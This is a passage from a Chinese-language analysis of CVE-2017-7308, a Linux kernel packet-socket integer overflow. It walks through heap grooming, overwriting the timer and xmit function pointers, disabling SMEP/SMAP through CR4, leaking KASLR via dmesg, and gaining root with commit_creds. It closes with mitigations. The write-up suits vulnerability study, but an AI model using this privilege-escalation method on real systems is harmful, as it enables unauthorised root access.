設置為任意值,以繞過所有的完整性檢查過程。
漏洞后果:net/packet/af_packet.c
中有兩處使用到了blk_sizeof_priv
。分別是init_prb_bdqc()
和 prb_open_block()
。總之該漏洞會導致內核堆越界寫入,我們能控制的大小和偏移量最多可達64k字節(可控的p1->blk_sizeof_priv
是 unsigned short
2字節,2的16次方也即64K字節)。
// init_prb_bdqc()
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
...
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv; // 此時blk_sizeof_priv剛被賦值。
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv); // (1)用來設置max_frame_len變量的值。p1->max_frame_len的值代表可以保存到內存塊中的某個幀大小的最大值。由于我們可以控制p1->blk_sizeof_priv,我們可以使BLK_PLUS_PRIV(p1->blk_sizeof_priv)的值大于p1->kblk_size的值。這樣會導致p1->max_frame_len取的一個非常大的值,比內存塊的大小更大。這樣當某個幀被拷貝到內存塊中時,我們就可以繞過對它的大小檢測過程,最終導致內核堆越界寫入問題。
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd);
}
// prb_open_block() —— 初始化一個內存塊
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
struct timespec ts;
struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
...
pkc1->pkblk_start = (char *)pbd1; // pbd1 是第1個內存塊的地址
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); // (2)當內核收到新的數據包時,數據包的寫入地址存放在pkc1->nxt_offset中。內核不想覆蓋內存塊頭部以及內存塊對應的私有數據,因此它會將這個地址指向緊挨著頭部和私有數據之后的那個地址。由于我們可以控制blk_sizeof_priv,因此我們也可以控制 nxt_offset 的最低的兩個字節(char *nxt_offset,因為 p1->blk_sizeof_priv 是 unsigned short 類型)。這樣我們就能夠控制越界寫入的偏移量。
BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); //
BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
...
}
victim對象:packet_sock
。
vul對象:內存塊。用戶傳入參數 tpacket_req3->tp_sizeof_priv
(unsigned int
,每個內存塊中私有區域的大小,用戶可以使用這個區域存放與每個內存塊有關的任何信息),賦值給內核packet_sock
(rx_ring
) -> packet_ring_buffer
(prb_bdqc
) -> tpacket_kbdq_core
-> blk_sizeof_priv
(unsigned short
)導致溢出。 溢出對象是內存塊,內存塊的頭部是tpacket_block_desc
。
三、漏洞利用
3-1 堆操作
目標:選取packet_sock
對象作為victim對象(包含可被覆蓋的函數指針),使內核將環形緩沖區和packet_sock
對象分配在一起。
ring buffer分配原理:前面提到過,環形緩沖區內存塊通過內核頁面分配器進行分配。內核頁面分配器可以為內存塊分配2n字節連續的內存頁面。對于每個n值,分配器會為這類內存塊維護一個freelist表,并在請求內存塊時返回freelist表頭。如果某個n值對應的freelist為空,分配器就會**查找第一個滿足m>n且其freelist不為空的值,然后將freelist分為兩半**,直到所需的大小得到滿足。因此,<u>如果我們開始以2n大小重復分配內存塊,那么在某些時候,這些內存塊會由某個高位內存塊分裂所得,且這些內存塊會彼此相鄰。</u>
packet_sock
對象分配原理:packet_sock
對象通過slab分配器使用kmalloc()
函數進行分配。slab分配器主要用于分配比單內存頁還小的那些對象。它使用頁面分配器分配一大塊內存,然后切割這塊內存,生成較小的對象。大的內存塊稱之為slabs,這也就是slab分配器的名稱來源。一組slabs與它們的當前狀態以及一組操作(如“分配對象”操作,以及“釋放對象”操作)一起,統稱為一個緩存(cache)。slab分配器會按照2^n大小,為對象創建一組通用的緩存。每當kmalloc(size)
函數被調用時,slab分配器會將size調整到與2的冪最為接近的一個值,使用這個size作為緩存的大小。
由于內核一直使用的都是kmalloc()函數,如果我們試圖分配一個對象,那么這個對象很大的可能會來自于之前已經創建的一個slab中。然而,如果我們開始分配同樣大小的對象,那么在某些時候,<u>slab分配器會將同樣大小的slab全部用光,然后不得不使用頁面分配器分配另一個slab</u>。
新創建的slab的大小取決于這個slab所用的對象大小。packet_sock
結構體的大小大約為1920,而1024 < 1920 <= 2048,這意味著對象的大小會調整到2048,并且會使用kmalloc-2048
緩存。對于這個特定的緩存,SLUB分配器(這個分配器是Ubuntu所使用的slab分配器)會使用大小為0x8000的slabs。因此<u>每當分配器用光kmalloc-2048
緩存的slab時,它就會使用頁面分配器分配0x8000字節的空間</u>。
方法:將一個kmalloc-2048
的slab和一個環形緩沖區內存塊分配在一起,使用如下步驟。構造連續的多個packet_sock
結構體使前一個packet_sock->rx_ring->prb_bdqc->nxt_offset
指向后面的packet_sock
結構體的兩個成員(packet_sock->xmit
和 packet_sock->rx_ring->prb_bdqc->retire_blk_timer
)。
- 1.分配許多大小為2048的對象(創建512個socket,其中的
packet_sock
對象),消耗當前kmalloc-2048
緩存中存在的slabs。 - 2.分配許多大小為0x8000的頁面內存塊(創建1個socket,其中設置1024個塊大小為 0x8000 的
ring_buffer
),消耗頁面分配器的freelist中相應大小的頁。因為申請物理頁的大小也是按2^n
計算,這樣之后再申請就會從第一個大于n
的m
且freelist
中不為空的2^m
大小的頁中分割內存 - 3.創建一個數據包套接字,并設置2個內存塊大小為0x8000的環形緩沖區。第2個內存塊(為什么使用2個內存塊,原因在下面解釋)就是我們需要溢出的那個內存塊。
- 4.創建一堆數據包套接字來分配多個
packet_sock
結構體對象,這樣它們會有很大機會在更大的頁上被連續得分配。
這樣我們就可以對堆進行精確操作,如下圖所示:為了排擠freelists、按照上述方法精確操作堆,我們需要分配的具體數量會根據設置的不同以及內存使用情況的不同而有所不同。對于一個大部分時間處于空閑狀態的Ubuntu主機來說,使用我上面提到的個數就已足夠。
3-2 控制溢出數據
目標:上面我提到過,這個bug會導致某個環形緩沖區內存塊的越界寫入,我們可以控制越界的偏移量,也可以控制寫入數據的最大值。事實證明,我們不僅能夠控制最大值和偏移量,我們實際上也能控制正在寫入的精確數據(及其大小)。由于當前正在存放到環形緩沖區中的數據為正在通過特定網絡接口的數據包,我們可以通過回環接口,使用原始套接字手動發送具有任意內容的數據包。如果我們在一個隔離的網絡命名空間中執行這個操作,我們就不會受到外部網絡流量干擾。
注意:
- 1.<u>數據包的大小至少必須為14字節</u>(兩個mac地址占了12字節,而EtherType占了2個字節),以便傳遞到數據包套接字層。這意味著我們必須覆蓋至少14字節的數據,而數據包本身的內容可以取任意值。
- 2.出于對齊目的,<u>
nxt_offset
的最低3個比特必須取值為2</u>。這意味著我們不能在8字節對齊的偏移處開始執行覆蓋操作。 - 3.當數據包被接收然后保存到內存塊中時,內核會更新內存塊和幀頭中的某些字段。如果我們將
nxt_offset
指向我們希望覆蓋的某些特定偏移處,那么內存塊和幀頭結束部位的某些數據很有可能會被破壞。 - 4.如果我們將
nxt_offset
指向內存塊的尾部,那么當第一個數據包正在接收時,第一個內存塊會馬上被關閉,這是因為內核會認為第一個內存塊中沒有任何空余的空間(這是正確的處理流程,可以參考__packet_lookup_frame_in_block()
函數中的代碼片段)。這不是一個真正的問題,因為我們可以<u>創建一個具備2個內存塊的環形緩沖區,在第一個內存塊被關閉時,我們可以覆蓋第二個內存塊</u>。
3-3 執行代碼
覆蓋函數指針:需用到packet_sock
結構體中的兩個字段。
-
packet_sock->xmit
: 每當用戶嘗試使用數據包套接字發送數據包時,就會調用第一個函數。提升到root權限的通常方法是在某個進程上下文中執行commit_creds(prepare_kernel_cred(0))
載荷。對于第一個函數,進程上下文中會調用xmit
指針,這意味著我們可以簡單地將其指向一個包含載荷的可執行內存區域就能達到目的。-
packet_sock
(int (*xmit)(struct sk_buff *skb);
)
-
-
packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func
:因此,我使用的是retire_blk_timer
字段(CVE-2016-8655漏洞中也利用了這個字段)。這個字段包含一個函數指針,每當計時器超時時就會觸發這個指針。在正常的數據包套接字操作過程中,retire_blk_timer->func
指向的是prb_retire_rx_blk_timer_expired()
,調用這個函數時會使用retire_blk_timer->data
作為參數,這個參數中包含了packet_sock
結構體對象的地址。由于我們可以一起覆蓋函數字段和數據字段,因此我們可以獲得一個非常完美的func(data)
覆蓋結果。-
packet_sock
(rx_ring
) ->packet_ring_buffer
(prb_bdqc
) ->tpacket_kbdq_core
(retire_blk_timer
) ->timer_list
(含函數指針*function
)
-
繞過SMEP / SMAP:將CR4寄存器的第20和21比特位清零。可調用native_write_cr4(X)
,X的第20和21位為0,具體值取決于哪些CPU功能被啟用,一般為0x407f0
。可采用sched_setaffinity()
強制利用程序在某個CPU核心上運行,只禁用該核心的SMEP/SMAP,確保用戶空間載荷在同一個核心上運行。
利用步驟:
- 1.找到內核文本地址,以繞過KASLR。
- 2.根據上文描述,操縱內核堆。
- 3.禁用SMEP和SMAP:
- a) 在某個環形緩沖區內存塊之后分配一個
packet_sock
對象; - b) 將一個接收環形緩沖區附加到
packet_sock
對象之后,以設置一個內存塊停用計時器; - c) 溢出這個內存塊,覆蓋
retire_blk_timer
字段。使得retire_blk_timer->func
指向native_write_cr4
,并且使得retire_blk_timer->data
的值與所需的CR4寄存器值相等; - d) 等待計時器執行,現在我們就可以在當前的CPU核心上禁用SMEP和SMAP了。
- a) 在某個環形緩沖區內存塊之后分配一個
- 4.獲取root權限:
- a) 分配另一對
packet_sock
對象和環形緩沖區內存塊。 - b) 溢出這個內存塊,覆蓋
xmit
字段。使得xmit
指向用戶空間中分配的一個commit_creds(prepare_kernel_cred(0))
函數。 - c) 在對應的數據包套接字上發送一個數據包,
xmit
就會被觸發,然后當前的進程就會獲得root權限。
- a) 分配另一對
注意:需要注意的是,當我們覆蓋packet_sock
結構體中的這兩個字段時,我們最終會破壞在這兩個字段之前的某些字段(因為內核會將某些值寫入內存塊和幀頭中),這可能會導致內核崩潰。然而,如果其他這些字段沒有被內核使用,那么一切都還好。我發現當我們在漏洞利用結束后,嘗試關閉所有的數據包套接字時,mclist
這個字段會導致內核崩潰,但我們只要將其清零即可。
3-4 繞過KASLR
本文只是利用dmesg
讀取內核syslog日志中的"Freeing SMP"關鍵詞來搜索內核指針——$ dmesg | grep 'Freeing SMP'
。因為Ubuntu默認情況下不會限制dmesg,這并不通用,所以我在測試時關閉了KASLR。并且使用這種方式計算出來的內核文本地址只有在啟動之后的一段時間內有效,因為syslog只存儲固定行數的這類日志,然后在某些時候抹掉這些日志。
3-5 成功
四、緩解措施
由于利用時,需要CAP_NET_RAW
權限才能創建數據包套接字,非特權用戶可以在用戶命名空間中獲取這個權限。可以通過完全禁用用戶命名空間或者禁止非特權用戶使用這類空間來緩解這類內核漏洞。要徹底禁用用戶命名空間,你可以在禁用CONFIG_USER_NS的條件下,重新編譯自己的內核。從4.9版內核起,上游內核中就具有類似的“/proc/sys/user/max_user_namespaces”設置。
參考:
Exploiting the Linux kernel via packet sockets
CVE-2017-7308 Linux Kernel packet_set_ring 整數符號錯誤漏洞分析及利用(本地提權)